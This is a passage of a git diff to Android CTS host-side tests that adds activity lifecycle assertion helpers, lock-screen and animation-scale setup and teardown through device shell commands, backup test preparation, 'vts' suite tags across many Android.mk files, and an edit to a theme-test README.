+            },
+            "***Waiting for Activity State: " + activityStates);
     }
 
     void waitForFocusedStack(ITestDevice device, int stackId) throws Exception {
@@ -278,11 +308,22 @@
     void waitFor(ITestDevice device,
             BiPredicate<ActivityManagerState, WindowManagerState> waitCondition, String message)
             throws Exception {
+        waitFor(message, () -> {
+            try {
+                mAmState.computeState(device);
+                mWmState.computeState(device);
+            } catch (Exception e) {
+                logE(e.toString());
+                return false;
+            }
+            return waitCondition.test(mAmState, mWmState);
+        });
+    }
+
+    void waitFor(String message, BooleanSupplier waitCondition) throws Exception {
         int retriesLeft = 5;
         do {
-            mAmState.computeState(device);
-            mWmState.computeState(device);
-            if (!waitCondition.test(mAmState, mWmState)) {
+            if (!waitCondition.getAsBoolean()) {
                 log(message);
                 try {
                     Thread.sleep(1000);
diff --git a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerState.java b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerState.java
index b8f6811..fa79c5e 100644
--- a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerState.java
+++ b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerState.java
@@ -44,6 +44,7 @@
     public static final String STATE_RESUMED = "RESUMED";
     public static final String STATE_PAUSED = "PAUSED";
     public static final String STATE_STOPPED = "STOPPED";
+    public static final String STATE_DESTROYED = "DESTROYED";
 
     public static final String RESIZE_MODE_RESIZEABLE = "RESIZE_MODE_RESIZEABLE";
 
@@ -281,6 +282,20 @@
         return false;
     }
 
+    boolean containsStartedActivities() {
+        for (ActivityStack stack : mStacks) {
+            for (ActivityTask task : stack.mTasks) {
+                for (Activity activity : task.mActivities) {
+                    if (!activity.state.equals(STATE_STOPPED)
+                            && !activity.state.equals(STATE_DESTROYED)) {
+                        return true;
+                    }
+                }
+            }
+        }
+        return false;
+    }
+
     boolean hasActivityState(String activityName, String activityState) {
         String fullName = ActivityManagerTestBase.getActivityComponentName(activityName);
         for (ActivityStack stack : mStacks) {
@@ -388,10 +403,12 @@
         private static final Pattern TASK_ID_PATTERN = Pattern.compile("Task id #(\\d+)");
         private static final Pattern RESUMED_ACTIVITY_PATTERN = Pattern.compile(
                 "mResumedActivity\\: ActivityRecord\\{(.+) u(\\d+) (\\S+) (\\S+)\\}");
+        private static final Pattern SLEEPING_PATTERN = Pattern.compile("isSleeping=(\\S+)");
 
         int mDisplayId;
         int mStackId;
         String mResumedActivity;
+        Boolean mSleeping; // A Boolean to trigger an NPE if it's not initialized
         ArrayList<ActivityTask> mTasks = new ArrayList();
 
         private ActivityStack() {
@@ -454,6 +471,13 @@
                     log(mResumedActivity);
                     continue;
                 }
+
+                matcher = SLEEPING_PATTERN.matcher(line);
+                if (matcher.matches()) {
+                    log(line);
+                    mSleeping = "true".equals(matcher.group(1));
+                    continue;
+                }
             }
         }
 
diff --git a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerTestBase.java b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerTestBase.java
index f9a473d..5909b4e 100644
--- a/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerTestBase.java
+++ b/hostsidetests/services/activityandwindowmanager/util/src/android/server/cts/ActivityManagerTestBase.java
@@ -24,7 +24,6 @@
 import com.android.tradefed.result.InputStreamSource;
 import com.android.tradefed.testtype.DeviceTestCase;
 
-import java.awt.*;
 import java.awt.image.BufferedImage;
 import java.lang.Exception;
 import java.lang.Integer;
@@ -147,6 +146,10 @@
 
     private HashSet<String> mAvailableFeatures;
 
+    private boolean mLockCredentialsSet;
+
+    private boolean mLockDisabled;
+
     protected static String getAmStartCmd(final String activityName) {
         return "am start -n " + getActivityComponentName(activityName);
     }
@@ -211,6 +214,10 @@
         componentName = name;
     }
 
+    protected static void setDefaultComponentName() {
+        setComponentName(DEFAULT_COMPONENT_NAME);
+    }
+
     static String getBaseWindowName() {
         return getBaseWindowName(componentName);
     }
@@ -271,7 +278,7 @@
     @Override
     protected void setUp() throws Exception {
         super.setUp();
-        setComponentName(DEFAULT_COMPONENT_NAME);
+        setDefaultComponentName();
 
         // Get the device, this gives a handle to run commands and install APKs.
         mDevice = getDevice();
@@ -283,12 +290,15 @@
         mInitialAccelerometerRotation = getAccelerometerRotation();
         mUserRotation = getUserRotation();
         mFontScale = getFontScale();
+        mLockCredentialsSet = false;
+        mLockDisabled = isLockDisabled();
     }
 
     @Override
     protected void tearDown() throws Exception {
         super.tearDown();
         try {
+            setLockDisabled(mLockDisabled);
             executeShellCommand(AM_FORCE_STOP_TEST_PACKAGE);
             executeShellCommand(AM_FORCE_STOP_SECOND_TEST_PACKAGE);
             executeShellCommand(AM_FORCE_STOP_THIRD_TEST_PACKAGE);
@@ -296,6 +306,7 @@
             setAccelerometerRotation(mInitialAccelerometerRotation);
             setUserRotation(mUserRotation);
             setFontScale(mFontScale);
+            setWindowTransitionAnimationDurationScale(1);
             // Remove special stacks.
             removeStacks(ALL_STACK_IDS_BUT_HOME_AND_FULLSCREEN);
             wakeUpAndUnlockDevice();
@@ -563,7 +574,8 @@
 
     protected boolean isHandheld() throws DeviceNotAvailableException {
         return !hasDeviceFeature("android.software.leanback")
-                && !hasDeviceFeature("android.hardware.type.watch");
+                && !hasDeviceFeature("android.hardware.type.watch")
+                && !hasDeviceFeature("android.hardware.type.embedded");
     }
 
     // TODO: Switch to using a feature flag, when available.
@@ -642,7 +654,7 @@
         return result;
     }
 
-    private boolean isDisplayOn() throws DeviceNotAvailableException {
+    protected boolean isDisplayOn() throws DeviceNotAvailableException {
         final CollectingOutputReceiver outputReceiver = new CollectingOutputReceiver();
         mDevice.executeShellCommand("dumpsys power", outputReceiver);
 
@@ -683,6 +695,11 @@
         unlockDevice();
     }
 
+    protected void wakeUpAndRemoveLock() throws DeviceNotAvailableException {
+        wakeUpDevice();
+        setLockDisabled(true);
+    }
+
     protected void wakeUpDevice() throws DeviceNotAvailableException {
         runCommandAndPrintOutput("input keyevent WAKEUP");
     }
@@ -716,14 +733,36 @@
     }
 
     protected void setLockCredential() throws DeviceNotAvailableException {
+        mLockCredentialsSet = true;
         runCommandAndPrintOutput("locksettings set-pin " + LOCK_CREDENTIAL);
     }
 
-    protected void removeLockCredential() throws DeviceNotAvailableException {
+    private void removeLockCredential() throws DeviceNotAvailableException {
         runCommandAndPrintOutput("locksettings clear --old " + LOCK_CREDENTIAL);
     }
 
     /**
+     * Returns whether the lock screen is disabled.
+     * @return true if the lock screen is disabled, false otherwise.
+     */
+    private boolean isLockDisabled() throws DeviceNotAvailableException {
+        final String isLockDisabled = runCommandAndPrintOutput("locksettings get-disabled").trim();
+        if ("null".equals(isLockDisabled)) {
+            return false;
+        }
+        return Boolean.parseBoolean(isLockDisabled);
+
+    }
+
+    /**
+     * Disable the lock screen.
+     * @param lockDisabled true if should disable, false otherwise.
+     */
+    void setLockDisabled(boolean lockDisabled) throws DeviceNotAvailableException {
+        runCommandAndPrintOutput("locksettings set-disabled " + lockDisabled);
+    }
+
+    /**
      * Sets the device rotation, value corresponds to one of {@link Surface.ROTATION_0},
      * {@link Surface.ROTATION_90}, {@link Surface.ROTATION_180}, {@link Surface.ROTATION_270}.
      */
@@ -787,6 +826,12 @@
         }
     }
 
+    protected void setWindowTransitionAnimationDurationScale(float animDurationScale)
+            throws DeviceNotAvailableException {
+        runCommandAndPrintOutput(
+                "settings put global transition_animation_scale " + animDurationScale);
+    }
+
     protected float getFontScale() throws DeviceNotAvailableException {
         try {
             final String fontScale =
@@ -985,7 +1030,124 @@
         return filteredResult;
     }
 
+    void assertSingleLaunch(String activityName, String logSeparator) throws DeviceNotAvailableException {
+        int retriesLeft = 5;
+        String resultString;
+        do {
+            resultString = validateLifecycleCounts(activityName, logSeparator, 1 /* createCount */,
+                    1 /* startCount */, 1 /* resumeCount */, 0 /* pauseCount */, 0 /* stopCount */,
+                    0 /* destroyCount */);
+            if (resultString != null) {
+                log("***Waiting for valid lifecycle state: " + resultString);
+                try {
+                    Thread.sleep(1000);
+                } catch (InterruptedException e) {
+                    log(e.toString());
+                }
+            } else {
+                break;
+            }
+        } while (retriesLeft-- > 0);
+
+        assertNull(resultString, resultString);
+    }
+
+    public void assertSingleLaunchAndStop(String activityName, String logSeparator) throws DeviceNotAvailableException {
+        int retriesLeft = 5;
+        String resultString;
+        do {
+            resultString = validateLifecycleCounts(activityName, logSeparator, 1 /* createCount */,
+                    1 /* startCount */, 1 /* resumeCount */, 1 /* pauseCount */, 1 /* stopCount */,
+                    0 /* destroyCount */);
+            if (resultString != null) {
+                log("***Waiting for valid lifecycle state: " + resultString);
+                try {
+                    Thread.sleep(1000);
+                } catch (InterruptedException e) {
+                    log(e.toString());
+                }
+            } else {
+                break;
+            }
+        } while (retriesLeft-- > 0);
+
+        assertNull(resultString, resultString);
+    }
+
+    public void assertSingleStartAndStop(String activityName, String logSeparator) throws DeviceNotAvailableException {
+        int retriesLeft = 5;
+        String resultString;
+        do {
+            resultString =  validateLifecycleCounts(activityName, logSeparator, 0 /* createCount */,
+                    1 /* startCount */, 1 /* resumeCount */, 1 /* pauseCount */, 1 /* stopCount */,
+                    0 /* destroyCount */);
+            if (resultString != null) {
+                log("***Waiting for valid lifecycle state: " + resultString);
+                try {
+                    Thread.sleep(1000);
+                } catch (InterruptedException e) {
+                    log(e.toString());
+                }
+            } else {
+                break;
+            }
+        } while (retriesLeft-- > 0);
+
+        assertNull(resultString, resultString);
+    }
+
+    void assertSingleStart(String activityName, String logSeparator) throws DeviceNotAvailableException {
+        int retriesLeft = 5;
+        String resultString;
+        do {
+            resultString = validateLifecycleCounts(activityName, logSeparator, 0 /* createCount */,
+                    1 /* startCount */, 1 /* resumeCount */, 0 /* pauseCount */, 0 /* stopCount */,
+                    0 /* destroyCount */);
+            if (resultString != null) {
+                log("***Waiting for valid lifecycle state: " + resultString);
+                try {
+                    Thread.sleep(1000);
+                } catch (InterruptedException e) {
+                    log(e.toString());
+                }
+            } else {
+                break;
+            }
+        } while (retriesLeft-- > 0);
+
+        assertNull(resultString, resultString);
+    }
+
+    private String validateLifecycleCounts(String activityName, String logSeparator,
+            int createCount, int startCount, int resumeCount, int pauseCount, int stopCount,
+            int destroyCount) throws DeviceNotAvailableException {
+
+        final ActivityLifecycleCounts lifecycleCounts = new ActivityLifecycleCounts(activityName,
+                logSeparator);
+
+        if (lifecycleCounts.mCreateCount != createCount) {
+            return activityName + " created " + lifecycleCounts.mCreateCount + " times.";
+        }
+        if (lifecycleCounts.mStartCount != startCount) {
+            return activityName + " started " + lifecycleCounts.mStartCount + " times.";
+        }
+        if (lifecycleCounts.mResumeCount != resumeCount) {
+            return activityName + " resumed " + lifecycleCounts.mResumeCount + " times.";
+        }
+        if (lifecycleCounts.mPauseCount != pauseCount) {
+            return activityName + " paused " + lifecycleCounts.mPauseCount + " times.";
+        }
+        if (lifecycleCounts.mStopCount != stopCount) {
+            return activityName + " stopped " + lifecycleCounts.mStopCount + " times.";
+        }
+        if (lifecycleCounts.mDestroyCount != destroyCount) {
+            return activityName + " destroyed " + lifecycleCounts.mDestroyCount + " times.";
+        }
+        return null;
+    }
+
     private static final Pattern sCreatePattern = Pattern.compile("(.+): onCreate");
+    private static final Pattern sStartPattern = Pattern.compile("(.+): onStart");
     private static final Pattern sResumePattern = Pattern.compile("(.+): onResume");
     private static final Pattern sPausePattern = Pattern.compile("(.+): onPause");
     private static final Pattern sConfigurationChangedPattern =
@@ -1091,6 +1253,7 @@
 
     class ActivityLifecycleCounts {
         int mCreateCount;
+        int mStartCount;
         int mResumeCount;
         int mConfigurationChangedCount;
         int mLastConfigurationChangedLineIndex;
@@ -1117,6 +1280,12 @@
                     continue;
                 }
 
+                matcher = sStartPattern.matcher(line);
+                if (matcher.matches()) {
+                    mStartCount++;
+                    continue;
+                }
+
                 matcher = sResumePattern.matcher(line);
                 if (matcher.matches()) {
                     mResumeCount++;
@@ -1289,4 +1458,17 @@
             }
         }
     }
+
+    void tearDownLockCredentials() throws Exception {
+        if (!mLockCredentialsSet) {
+            return;
+        }
+
+        removeLockCredential();
+        // Dismiss active keyguard after credential is cleared, so
+        // keyguard doesn't ask for the stale credential.
+        pressBackButton();
+        sleepDevice();
+        wakeUpAndUnlockDevice();
+    }
 }
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/Android.mk b/hostsidetests/services/activityandwindowmanager/windowmanager/Android.mk
index 2ce16d8..0739743 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/Android.mk
@@ -30,7 +30,7 @@
 LOCAL_CTS_TEST_PACKAGE := android.server.cts
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/Android.mk b/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/Android.mk
index 1bdeeb4..dc2485d 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowapp/Android.mk
@@ -26,7 +26,7 @@
 LOCAL_SDK_VERSION := test_current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsDeviceAlertWindowTestApp
 
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/Android.mk b/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/Android.mk
index 4a4c0c7..5246c94 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/alertwindowappsdk25/Android.mk
@@ -25,7 +25,7 @@
 LOCAL_SDK_VERSION := 25
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsDeviceAlertWindowTestAppSdk25
 
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/Android.mk b/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/Android.mk
index 4cd44ed..12a04ed 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/Android.mk
@@ -24,7 +24,7 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsDragAndDropSourceApp
 
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/Android.mk b/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/Android.mk
index 10fe386..cb43a8b 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetapp/Android.mk
@@ -24,7 +24,7 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsDragAndDropTargetApp
 
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/Android.mk b/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/Android.mk
index 2907241..a33e1bc 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/Android.mk
@@ -24,7 +24,7 @@
 LOCAL_SDK_VERSION := 23
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsDragAndDropTargetAppSdk23
 
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/Android.mk b/hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/Android.mk
index 7719315..d6e82d3 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/Android.mk
+++ b/hostsidetests/services/activityandwindowmanager/windowmanager/frametestapp/Android.mk
@@ -24,7 +24,7 @@
 LOCAL_SDK_VERSION := test_current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsDeviceWindowFramesTestApp
 
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher1/Android.mk b/hostsidetests/shortcuts/deviceside/backup/launcher1/Android.mk
index 3871c0d..d6077a4 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher1/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher1/Android.mk
@@ -17,7 +17,7 @@
 include $(CLEAR_VARS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsShortcutBackupLauncher1
 
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher2/Android.mk b/hostsidetests/shortcuts/deviceside/backup/launcher2/Android.mk
index 65a1a28..8f124a0 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher2/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher2/Android.mk
@@ -17,7 +17,7 @@
 include $(CLEAR_VARS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsShortcutBackupLauncher2
 
diff --git a/hostsidetests/shortcuts/deviceside/backup/launcher3/Android.mk b/hostsidetests/shortcuts/deviceside/backup/launcher3/Android.mk
index ab0b4ce..9883e5c 100644
--- a/hostsidetests/shortcuts/deviceside/backup/launcher3/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/launcher3/Android.mk
@@ -17,7 +17,7 @@
 include $(CLEAR_VARS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsShortcutBackupLauncher3
 
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher1/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher1/Android.mk
index 179f2be..72da903 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher1/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher1/Android.mk
@@ -17,7 +17,7 @@
 include $(CLEAR_VARS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsShortcutBackupPublisher1
 
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher2/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher2/Android.mk
index 6376c86..286dded 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher2/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher2/Android.mk
@@ -17,7 +17,7 @@
 include $(CLEAR_VARS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsShortcutBackupPublisher2
 
diff --git a/hostsidetests/shortcuts/deviceside/backup/publisher3/Android.mk b/hostsidetests/shortcuts/deviceside/backup/publisher3/Android.mk
index f59093b..f1421d1 100644
--- a/hostsidetests/shortcuts/deviceside/backup/publisher3/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/backup/publisher3/Android.mk
@@ -17,7 +17,7 @@
 include $(CLEAR_VARS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsShortcutBackupPublisher3
 
diff --git a/hostsidetests/shortcuts/deviceside/multiuser/Android.mk b/hostsidetests/shortcuts/deviceside/multiuser/Android.mk
index f48b4ce..619bdfe 100644
--- a/hostsidetests/shortcuts/deviceside/multiuser/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/multiuser/Android.mk
@@ -19,7 +19,7 @@
 include $(CLEAR_VARS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsShortcutMultiuserTest
 
diff --git a/hostsidetests/shortcuts/deviceside/upgrade/Android.mk b/hostsidetests/shortcuts/deviceside/upgrade/Android.mk
index d9d7079..ae0bf75 100644
--- a/hostsidetests/shortcuts/deviceside/upgrade/Android.mk
+++ b/hostsidetests/shortcuts/deviceside/upgrade/Android.mk
@@ -21,7 +21,7 @@
 include $(CLEAR_VARS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsShortcutUpgradeVersion1
 
@@ -52,7 +52,7 @@
 include $(CLEAR_VARS)
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsShortcutUpgradeVersion2
 
diff --git a/hostsidetests/shortcuts/hostside/Android.mk b/hostsidetests/shortcuts/hostside/Android.mk
index 6eeb001..f8bf4dd 100644
--- a/hostsidetests/shortcuts/hostside/Android.mk
+++ b/hostsidetests/shortcuts/hostside/Android.mk
@@ -27,7 +27,7 @@
 LOCAL_JAVA_LIBRARIES := tools-common-prebuilt cts-tradefed tradefed
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/shortcuts/hostside/AndroidTest.xml b/hostsidetests/shortcuts/hostside/AndroidTest.xml
index 15d6a12..8b53b2e 100644
--- a/hostsidetests/shortcuts/hostside/AndroidTest.xml
+++ b/hostsidetests/shortcuts/hostside/AndroidTest.xml
@@ -15,7 +15,10 @@
 -->
 <configuration description="Config for the CTS ShortcutManager host tests">
     <option name="config-descriptor:metadata" key="component" value="framework" />
-    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
+    <target_preparer class="android.cts.backup.BackupPreparer">
+        <option name="enable-backup-if-needed" value="true" />
+        <option name="select-local-transport" value="true" />
+    </target_preparer>    <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsShortcutHostTestCases.jar" />
         <option name="runtime-hint" value="10m" />
     </test>
diff --git a/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerBackupTest.java b/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerBackupTest.java
index 25f8317..960b41f 100644
--- a/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerBackupTest.java
+++ b/hostsidetests/shortcuts/hostside/src/android/content/pm/cts/shortcuthost/ShortcutManagerBackupTest.java
@@ -93,13 +93,19 @@
         super.tearDown();
     }
 
-    private void doBackup() throws DeviceNotAvailableException {
+    private void doBackup() throws Exception {
         CLog.i("Backing up package android...");
+
+        waitUntilBroadcastsDrain(); // b/64203677
+
+        CLog.i("Making sure the local transport is selected...");
         assertContainsRegex(
                 "^Selected transport android/com.android.internal.backup.LocalTransport",
                 executeShellCommandWithLog(
                         "bmgr transport android/com.android.internal.backup.LocalTransport"));
 
+        executeShellCommandWithLog("dumpsys backup");
+
         assertContainsRegex(
                 "Wiped",
                 executeShellCommandWithLog(
diff --git a/hostsidetests/sustainedperf/Android.mk b/hostsidetests/sustainedperf/Android.mk
index 3187415..745a0b4 100644
--- a/hostsidetests/sustainedperf/Android.mk
+++ b/hostsidetests/sustainedperf/Android.mk
@@ -21,7 +21,7 @@
 LOCAL_MODULE_TAGS := tests
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_MODULE := CtsSustainedPerformanceHostTestCases
 LOCAL_JAVA_LIBRARIES := cts-tradefed tradefed compatibility-host-util
diff --git a/hostsidetests/sustainedperf/app/Android.mk b/hostsidetests/sustainedperf/app/Android.mk
index 473621a..f995837 100644
--- a/hostsidetests/sustainedperf/app/Android.mk
+++ b/hostsidetests/sustainedperf/app/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsSustainedPerformanceDeviceTestApp
 
diff --git a/hostsidetests/sustainedperf/dhrystone/Android.mk b/hostsidetests/sustainedperf/dhrystone/Android.mk
index b7a2baf..abcbe669 100644
--- a/hostsidetests/sustainedperf/dhrystone/Android.mk
+++ b/hostsidetests/sustainedperf/dhrystone/Android.mk
@@ -14,5 +14,5 @@
 LOCAL_MULTILIB := both
 LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
 LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 include $(BUILD_EXECUTABLE)
diff --git a/hostsidetests/sustainedperf/shadertoy_android/Android.mk b/hostsidetests/sustainedperf/shadertoy_android/Android.mk
index c9a5000..ba6bf64 100644
--- a/hostsidetests/sustainedperf/shadertoy_android/Android.mk
+++ b/hostsidetests/sustainedperf/shadertoy_android/Android.mk
@@ -33,6 +33,6 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 include $(BUILD_PACKAGE)
 include $(call all-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/systemui/Android.mk b/hostsidetests/systemui/Android.mk
index a2bcf05..ba437b9 100644
--- a/hostsidetests/systemui/Android.mk
+++ b/hostsidetests/systemui/Android.mk
@@ -29,7 +29,7 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/systemui/app/Android.mk b/hostsidetests/systemui/app/Android.mk
index 6e45818..fed7a9f 100644
--- a/hostsidetests/systemui/app/Android.mk
+++ b/hostsidetests/systemui/app/Android.mk
@@ -28,7 +28,7 @@
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
 # tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 LOCAL_PACKAGE_NAME := CtsSystemUiDeviceApp
 
diff --git a/hostsidetests/theme/Android.mk b/hostsidetests/theme/Android.mk
index c79bd13..3764442 100644
--- a/hostsidetests/theme/Android.mk
+++ b/hostsidetests/theme/Android.mk
@@ -38,7 +38,7 @@
 LOCAL_SDK_VERSION := current
 
 # Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
 
 include $(BUILD_CTS_HOST_JAVA_LIBRARY)
 
diff --git a/hostsidetests/theme/README b/hostsidetests/theme/README
index 64ca416..4f93e5a 100644
--- a/hostsidetests/theme/README
+++ b/hostsidetests/theme/README
@@ -30,33 +30,42 @@
 I. Generating reference images (CTS maintainers only)
 
 Reference images are typically only generated for new API revisions. To
-generate a new set of reference images, do the following:
+generate a new set of reference images from an emulator, do the following:
 
-  1. Obtain the emulator image for the current platform. You can either build
-     these from scratch (not recommended) via:
+  1. Ensure the Android SDK is installed locally. Either a public or internal
+     distribution is fine. From the console, set the ANDROID_SDK_ROOT env var:
 
-     make PRODUCT-sdk_phone_x86_64-sdk sdk_repo -j32
+     export ANDROID_SDK_ROOT = /path/to/sdk
 
-     Or obtain them from the sdk-repo-linux-system-images-<build-id>.zip
-     artifact from the sdk_phone_x86_64-sdk build server target.
+  2. Obtain an x86_64 emulator image from the build server by using the script
+     available internally at go/emu-dev. This script will install the image in
+     your SDK.
 
-  2. Start one AVD emulator image for each DPI bucket (ldpi, xxxhdpi, etc.)
-     that you wish to generate references images for. Anecdotally, up to three
-     emulators can run reliably at the same time. Confirm that all emulators
-     are connected with:
+  3. Use the SDK's AVD Manager tool to create a single virtual device using the
+     emulator image from step 2. The exact configuration doesn't really matter;
